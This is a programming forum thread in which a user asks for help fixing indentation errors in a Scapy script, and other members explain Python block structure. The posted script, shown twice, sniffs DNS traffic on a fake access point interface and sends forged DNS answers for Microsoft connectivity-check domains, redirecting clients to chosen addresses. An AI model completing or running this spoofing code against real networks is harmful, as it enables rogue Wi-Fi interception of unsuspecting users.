Python Forum
error "IndentationError: expected an indented block"
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
error "IndentationError: expected an indented block"
#1
Hi
Can you help me to correct the following code so that I do not get IndentationError error?

my script:

from scapy.all import *
DIR=os.path.dirname(os.path.abspath(__file__))
print('Executed from '+DIR+'\n')
print('Assuming interface at0')

def FakeAccess2(pkt):
pkt=pkt[0]
    if pkt.haslayer(DNSQR):
print('Packet with DNSQR layer found.')
if pkt[DNS].qd.qtype == 1:
print('DNSQR type appears type = A')
    if 'dns' in pkt[DNS].qd.qname and 'msftncsi' in pkt[DNS].qd.qname:
    #MUST RETURN TRUE VALUE!    
    print('It appears captured DNS request requests dns.msftncsi.com')  
    spoofed_pkt = Ether(dst=pkt[Ether].src, src=pkt[Ether].dst, type=pkt[Ether].type)/\
    IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
    UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
    DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
    an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=64, rdata='131.107.255.255'))
    del pkt[IP].chksum
    del pkt[UDP].chksum
    # replace your Fake AP interface with 'at0'
    sendp(spoofed_pkt,iface='at0')
    print('Spoofed response send:')
    spoofed_pkt.show2()

if 'www' in pkt[DNS].qd.qname and 'msftncsi' in pkt[DNS].qd.qname:  
#MUST POINT TO SERVER WITH ncsi.txt; ISTO NARED ZA IPV6
print('It appears captured DNS request requests www.msftncsi.com')  
spoofed_pkt = Ether(dst=pkt[Ether].src, src=pkt[Ether].dst, type=pkt[Ether].type)/\
IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
# 10.0.0.254 mora bit GW nastiman za dhcp
an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=64, rdata='10.0.0.254'))
del pkt[IP].chksum
del pkt[UDP].chksum

sendp(spoofed_pkt,iface='at0')
print('Spoofed response send:')
spoofed_pkt.show2()

    else:
print('Wrong DNS.qd.qname :'+pkt[DNS].qd.qname)

if pkt[DNS].qd.qtype == 28:
print('DNSQR type appears type = AAAA')
    if 'dns' in pkt[DNS].qd.qname and 'msftncsi' in pkt[DNS].qd.qname:
    #MUST RETURN TRUE VALUE
    print('AAAA DNS request for dns.msftncsi.com found, loop works')
    spoofed_pkt = Ether(dst=pkt[Ether].src, src=pkt[Ether].dst, type=pkt[Ether].type)/\
    IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
    UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
    DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
    an=DNSRR(rrname=pkt[DNS].qd.qname, type=28, ttl=64, rdata='fd3e:4f5a:5b81::1'))
    
    del pkt[IP].chksum
    del pkt[UDP].chksum

    sendp(spoofed_pkt,iface='at0')
    print('Spoofed response send:')
    spoofed_pkt.show2()

if 'dns' not in pkt[DNS].qd.qname and 'msftncsi' in pkt[DNS].qd.qname:
#MUST RETURN TRUE VALUE
print('AAAA DNS request for www.msftncsi.com found, loop works')
spoofed_pkt = Ether(dst=pkt[Ether].src, src=pkt[Ether].dst, type=pkt[Ether].type)/\
IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
an=DNSRR(rrname=pkt[DNS].qd.qname, type=28, ttl=64, rdata='fe80::ea94:f6ff:fe24:d147'))
#RDATA JE IPV6 OD at0
del pkt[IP].chksum
del pkt[UDP].chksum

sendp(spoofed_pkt,iface='at0')
print('Spoofed response send:')
spoofed_pkt.show2()

    else:
print('Captured packet has no DNSQR')

print('Sniffing...')
sniff(filter='dst port 53',prn=FakeAccess2, store=0, count=0, iface='at0')
Reply
#2
You have a function and the body of the function should be indented. you have several if blocks that require indented block after that. in all occasions next line is not indented. Also you have else part that not match any of the preceding ifs. Also first if is indented, when it should not be. Overall your indentation is totally wrong
If you can't explain it to a six year old, you don't understand it yourself, Albert Einstein
How to Ask Questions The Smart Way: link and another link
Create MCV example
Debug small programs

Reply
#3
The if statement should be unindented and the lines belonging to the if statement must be indented. The same goes for loops.

if pkt.haslayer(DNSQR):
    print('Packet with DNSQR layer found.')
if pkt[DNS].qd.qtype == 1:
    print('DNSQR type appears type = A')
if 'dns' in pkt[DNS].qd.qname and 'msftncsi' in pkt[DNS].qd.qname:
    #MUST RETURN TRUE VALUE!    
    print('It appears captured DNS request requests dns.msftncsi.com')

... et cetera
Reply
#4
Thank you dear friends
I corrected the indented cases
But I still get the error

line 43
else :
^
SyntaxError: invalid syntax

I would really appreciate if you could help me modify this code

from scapy.all import *
DIR = os.path.dirname(os.path.abspath(__file__))
print('Executed from ' + DIR + '\n')
print('Assuming interface at0')

def FakeAccess2(pkt):
  pkt = pkt[0]
if pkt.haslayer(DNSQR):
  print('Packet with DNSQR layer found.')
if pkt[DNS].qd.qtype == 1:
  print('DNSQR type appears type = A')
if 'dns' in pkt[DNS].qd.qname and 'msftncsi' in pkt[DNS].qd.qname:
  #MUST RETURN TRUE VALUE!
  print('It appears captured DNS request requests dns.msftncsi.com')
spoofed_pkt = Ether(dst = pkt[Ether].src, src = pkt[Ether].dst, type = pkt[Ether].type) / \
  IP(dst = pkt[IP].src, src = pkt[IP].dst) / \
  UDP(dport = pkt[UDP].sport, sport = pkt[UDP].dport) / \
  DNS(id = pkt[DNS].id, qr = 1, aa = 1, qd = pkt[DNS].qd, \
    an = DNSRR(rrname = pkt[DNS].qd.qname, ttl = 64, rdata = '131.107.255.255'))
del pkt[IP].chksum
del pkt[UDP].chksum
# replace your Fake AP interface with 'at0'
sendp(spoofed_pkt, iface = 'at0')
print('Spoofed response send:')
spoofed_pkt.show2()

if 'www' in pkt[DNS].qd.qname and 'msftncsi' in pkt[DNS].qd.qname:
  #MUST POINT TO SERVER WITH ncsi.txt;ISTO NARED ZA IPV6
  print('It appears captured DNS request requests www.msftncsi.com')
spoofed_pkt = Ether(dst = pkt[Ether].src, src = pkt[Ether].dst, type = pkt[Ether].type) / \
  IP(dst = pkt[IP].src, src = pkt[IP].dst) / \
  UDP(dport = pkt[UDP].sport, sport = pkt[UDP].dport) / \
  DNS(id = pkt[DNS].id, qr = 1, aa = 1, qd = pkt[DNS].qd, \
    # 10.0 .0 .254 mora bit GW nastiman za dhcp 
    an = DNSRR(rrname = pkt[DNS].qd.qname, ttl = 64, rdata = '10.0.0.254'))
del pkt[IP].chksum
del pkt[UDP].chksum

sendp(spoofed_pkt, iface = 'at0')
print('Spoofed response send:')
spoofed_pkt.show2()

else :
  print('Wrong DNS.qd.qname :' + pkt[DNS].qd.qname)

if pkt[DNS].qd.qtype == 28:
  print('DNSQR type appears type = AAAA')
if 'dns' in pkt[DNS].qd.qname and 'msftncsi' in pkt[DNS].qd.qname:
  #MUST RETURN TRUE VALUE
  print('AAAA DNS request for dns.msftncsi.com found, loop works')
spoofed_pkt = Ether(dst = pkt[Ether].src, src = pkt[Ether].dst, type = pkt[Ether].type) / \
  IP(dst = pkt[IP].src, src = pkt[IP].dst) / \
  UDP(dport = pkt[UDP].sport, sport = pkt[UDP].dport) / \
  DNS(id = pkt[DNS].id, qr = 1, aa = 1, qd = pkt[DNS].qd, \
    an = DNSRR(rrname = pkt[DNS].qd.qname, type = 28, ttl = 64, rdata = 'fd3e:4f5a:5b81::1'))

del pkt[IP].chksum
del pkt[UDP].chksum

sendp(spoofed_pkt, iface = 'at0')
print('Spoofed response send:')
spoofed_pkt.show2()

if 'dns' not in pkt[DNS].qd.qname and 'msftncsi' in pkt[DNS].qd.qname:
  #MUST RETURN TRUE VALUE
  print('AAAA DNS request for www.msftncsi.com found, loop works')
spoofed_pkt = Ether(dst = pkt[Ether].src, src = pkt[Ether].dst, type = pkt[Ether].type) / \
  IP(dst = pkt[IP].src, src = pkt[IP].dst) / \
  UDP(dport = pkt[UDP].sport, sport = pkt[UDP].dport) / \
  DNS(id = pkt[DNS].id, qr = 1, aa = 1, qd = pkt[DNS].qd, \
    an = DNSRR(rrname = pkt[DNS].qd.qname, type = 28, ttl = 64, rdata = 'fe80::ea94:f6ff:fe24:d147'))
#RDATA JE IPV6 OD at0
del pkt[IP].chksum
del pkt[UDP].chksum

sendp(spoofed_pkt, iface = 'at0')
print('Spoofed response send:')
spoofed_pkt.show2()

else :
  print('Captured packet has no DNSQR')

print('Sniffing...')
sniff(filter = 'dst port 53', prn = FakeAccess2, store = 0, count = 0, iface = 'at0')
Reply
#5
To which if does the else on line 43 belong? Probably to the if in line 27. But this if ends on line 30 because "spoofed_pkt" is not indented anymore. So this else belongs to nothing.
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  How to write in text file - indented block Joni_Engr 4 2,116 Jul-18-2022, 09:09 AM
Last Post: Hathemand
  how far is this line indented? Skaperen 3 413 May-30-2022, 05:49 PM
Last Post: Skaperen
  IndentationError: unexpected indent dee 3 419 May-02-2022, 02:15 AM
Last Post: dee
  TypeError: sequence item 0: expected str instance, float found Error Query eddywinch82 1 2,628 Sep-04-2021, 09:16 PM
Last Post: eddywinch82
  pandas.errors.ParserError: Error tokenizing data. C error: Expected 9 fields in line Anldra12 9 7,789 Jun-15-2021, 08:16 AM
Last Post: Anldra12
  zlib decompress error: invalid code lengths set / invalid block type DreamingInsanity 0 3,957 Mar-29-2020, 12:44 PM
Last Post: DreamingInsanity
  IndentationError: unexpected indent jk91 1 1,503 Feb-27-2020, 08:56 PM
Last Post: buran
  how can i handle "expected a character " type error , when I input no character vivekagrey 2 1,760 Jan-05-2020, 11:50 AM
Last Post: vivekagrey
  capture next block of text after finding error in file kdefilip2 6 2,100 Nov-27-2019, 07:36 PM
Last Post: buran
  IndentationError jagannath 1 1,594 Nov-04-2019, 07:41 AM
Last Post: buran

Forum Jump:

User Panel Messages

Announcements
Announcement #1 8/1/2020
Announcement #2 8/2/2020
Announcement #3 8/6/2020